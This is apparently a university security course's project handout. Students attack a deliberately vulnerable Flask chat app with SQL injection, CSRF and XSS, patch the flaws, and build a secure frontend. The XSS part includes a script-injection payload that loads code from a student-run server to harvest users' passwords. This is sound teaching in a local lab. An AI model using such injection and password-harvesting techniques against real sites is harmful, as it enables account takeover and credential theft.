This project will have you launch some exploits against an insecure web app and implement a (hopefully secure) web frontend for your chat server. This project will be the end of our semester, after which we’ll start breaking each others’ assignments! So make it a good one :-)

This portion of the project is individual and group work. Each portion is clearly marked. During the course of this project you are allowed access to all online resources, but you are required to cite any resource that gave you any significant insight into the project, including conversations you had with your classmates. You will put these sources in SOURCES.md within this folder. The project is clearly separated into attacks (individual) and implementation. The individual and group assignments will have separate github repos.

Please respect the department’s collaboration policy. Specifically, you are not allowed to look at any other student’s code (or do anything equivalent, such as talking through your code on a line-by-line basis). You may discuss pseudo-code on the board, but afterwards you must erase it (so as to not let anyone else see it) and then cite your conversation with the other person in a comment in your code (and in the sources file).

Individual Portion: Attacks / Defenses

For the individual portion of this assignment, you’ll write a set of exploits using either Selenium or urllib. Both of these libraries allow you to programmatically interact with webpages, and I highly recommend you learn a little bit about them before attempting too much of this project.

About the App

The vulnerable webapp I’ve given you is available through Github Classroom. Please clone it through that interface. For everyone else following along, it’s at:

https://github.com/kmicinski/project-3-starter

You can run it by first setting up the database:

python app.py init

And then booting up the app:

python app.py

Which will then launch the app on your local machine. Note that you may need to pip install a few things before running the app, including (at least) flask.

Part 1: SQL Injection Attacks [20 points]

For this part of the project, I want to show how you can log in as any desired user. You should write a script execute_sqli.py that takes one command-line parameter: the user for which you want to log in. Your script must then find a way to log into the server by exploiting an SQL injection in the vulnerable app, and then post a chat from that user which says “I wish I were a squirrel.”

Deliverable: execute_sqli.py, which launches the vulnerability described above.

Part 2: Cross-Site Request Forgery [10 points]

The answer to this part of the project is a link. In the web application, there is an instance of Cross-Site request forgery that allows me to change the password of whatever user I’m logged in as. Show me where it is, and give me an example link showing how I’d exploit it to change the user’s password.

By the way, you should read up on why GET requests should not be used for this kind of thing. Basically, the user’s browser will cache these kinds of requests in history, which is relatively insecure, and GET requests are straightforward to turn into clickable links. By contrast, you can’t POST data via a link.

Deliverable: a link that the user can click such that–when clicked–it will launch an XSRF attack and change the user’s password.

Part 3: XSS [30 points]

This part requires writing your own small webapp to request and store passwords.

Your goal in this part is to exploit a cross-site scripting vulnerability in the webapp. Notice that none of the data passed in for the chat messages is validated or scrubbed in any way. Therefore, it is trivial to pass in a script that will execute on anyone’s browser when they pull up the chat window. For example, if you type in <script>alert(1)</script>, instead of showing you a chat message, your browser will display an alert to you.

Exploit this vulnerability to launch an XSS vulnerability that sends the user’s password to your webapp and stores a list of passwords collected. To do this, you should write a small web service yourself that hosts a static script containing the code you want to inject into the user’s browser. Your attack script should then insert some code like <script src=localhost:8700/myscript.js></script>, which will then load your script from localhost:8700 and perform the right commands to launch the attack. Finally, you must show me that your web app can store the passwords in some way.

Deliverable: A directory xss_attack_server that hosts your web app, which will act to host the static script itself. (Here’s some starter code to host static files from Flask!). This web app should have some way to store the passwords, e.g., a file on disc, an SQLite database, etc.. It should also have some easy way for me to view retrieved passwords. You must also include a file inject_xss.js that logs in as some specified username / password to the server and actually launches the attack.

Part 4: Defenses against SQLi and XSS [10 points]

In this part, you’ll eliminate a few of the attacks you just performed.

  • [5 points] Completely eliminate the SQLi attacks performed here using, e.g., prepared statements (some of the server is using them already).

  • [5 points] Properly escape data incoming from the client to eliminate the XSS attack described in Part 3: http://flask.pocoo.org/docs/0.12/security/#cross-site-scripting-xss

Deliverable: app_fixed.py that includes these two fixes.

Group Portion: Implementation

For this portion of the assignment, you will complete our chat server by building a web frontend for the server. The web frontend will offer the following functionality:

  • Creating new accounts

  • Allowing users to change passwords on existing accounts

  • Allowing the user to view logs of channels that haven’t been encrypted (and from which they haven’t been banned):
    • Users should be able to log in and see the list of available channels hosted on the server
    • Users should be able to see the channel topic
    • They should also see the list of files available on the channel, including the file name and file size. If they have the correct privileges (either the person who uploaded it or the channel admin) they should be able to delete it.
    • Users should be able to download the files from the server.
    • Users should be able to upload files to the server.
  • Allowing users to manage their block lists, blocking and unblocking other users.

  • Allowing channel administrators to perform various operations on channels:
    • Give other users administration privileges
    • Change the channel topic
    • Ban users from channels

Design Details

You should implement your web frontend using some web framework, though I do not care which. If you have implemented the previous parts of projects 1G and 2G correctly, you should leverage your implementation in those parts to complete 3G. Specifically, you should have your server set up so that you run the web server using flask, and run the chat server alongside that web server, but on a different port. I would specifically recommend either using Flask or Django for this project.

Note that you will need some way for the web frontend and the chat server to agree on some amount of the data. For example, they both need to be able to read logs of channels for various users. You have a few options for how to go about this: you could set up the web frontend so that it talked to the chat server by sending packets according to the protocol, for instance. But that’s not a very robust design. A better design–and the one I recommend–is to have your chat server and web server both share some database implemented using an SQL server (SQLite is fine for this project).

For example, you may want to restructure your chat server so that it keeps the password database as an SQL table. In the web interface, you should have a form that allows the user to create a new account and–if its not in the table–salts and hashes it using the same exact mechanism you use from project 2G. I recommend having a shared set of library code (i.e., helper functions you use in both codebases) between the client and server to make this easier. Then, in the chat server, when a connection is received and an authenticate command is executed, check for the password in that SQLite table.

Similar modifications will need to be made with other commands.

If you do choose to base your implementation off the horribly-insecure example app I’ve written, you should absolutely read the documentation for Flask for a while before just brazenly charging along and copying the bad coding style there. Specifically, reconnecting to the DB every time is silly and terrible form done for illustrative purposes of writing a crummy exploitable app. Instead, for example, read this page on using SQLite with Flask. Similar tutorials exist for PostgreSQL and MySQL.

Scoring Breakdown

Your server should include at least the following:

  • [10 points] You have some webservice that runs alongside your chat server. This is the bare minimum you can do, and I recommend tackling this part first. The way to start with this is to take the example code I’ve given out for the Flask attacks and then run your chat server alongside it.

  • [10 points] The web app must run via HTTPS with some certificate. It’s okay if this certificate is self-signed, though (you won’t be able to get a “real” certificate, because you’ll just be running the app on your own browser and won’t be able to anchor it to a specific domain).

  • [15 points] The ability to log in and create an account on the server. This infrastructure works alongside the infrastructure used in your chat server.

  • [10 points] The ability for users to change their passwords once logged in.

  • [15 points] After users are logged in, they should see a page that allows them see all of the channels on the server from which they are not banned. Channels of which they are the administrator should be designated in some special way (e.g., with an “A” letter before the name, or colored green, or something like that). In particular, they should not see channels from which they have been banned.

  • [5 points] Users should be able to create new channels from the main screen.

  • [10 points] Each channel should have a screen in the app which is viewable by anyone who has not been banned from the channel. This screen should show the log of chats on the channel, up to the 500 most recent messages. This screen should also list the files associated with the channel.

  • [5 points] Users should be able to download files associated with a channel from this screen.

  • [5 points] Users should be able to upload files associated with the channel from this screen.

  • [5 points] Administrators on this channel should have the option to change the channel topic, as well as give administration privileges to other users. These privileges should be reflected in the client.

  • [5 points] Administrators should be able to ban users on channels of which they are administrators.

  • [10 points] Write a design document of at least four thoughtful paragraphs describing various security issues you thought over while designing your server. The kinds of questions you’ve been asking on Piazza, and the kinds of questions you’ve asked to each other in person, are the kinds of things you want to discuss here. For example, how did you make sure to avoid SQL injection and cross-site scripting attacks? This can be as broad or narrow as you want, as long as it’s thoughtful and covers the security-relevant problems you tackled while working on the project.

Note that you must be especially careful to make sure that changes made on the server are reflected in the client. For example, if someone is banned from a channel in the webapp, they should similarly be kicked from the channel if they are logged in on the web server. This is probably the trickiest part of the assignment, and you’ll have to be careful about how you implement it.

Note that various parts of 2G make things encrypted in various ways. You’ll have to use your head here: it doesn’t make any sense to show logs for encrypted channels, for example, because the server won’t have the keys to decrypt them. If you did this, you should also have some “public channels” that allow their logs to be viewable without crypto, too.

There is no need to show private messages on the web interface. In an ideal world, you would write a web app that allowed the client to decrypt the conversation: i.e., JavaScript code that hands the conversation to your client, uses the client’s secret key (stored in the browser, but never escaping it) to decrypt messages, etc.. But in practice this is quite complicated: browsers don’t make it easy to manage keys and access local files, for example. Therefore, for this project, you can feel free to ignore anything that would require you to load a secret key from the client’s browser. However, all of that should still work on your client that you implemented for 2G.

This part of the project is meant to be challenging, so make sure you start early and think through a good design for the server, paying particular caution to how you’ll ensure your client from 2G still works with the chat server you’re implementing.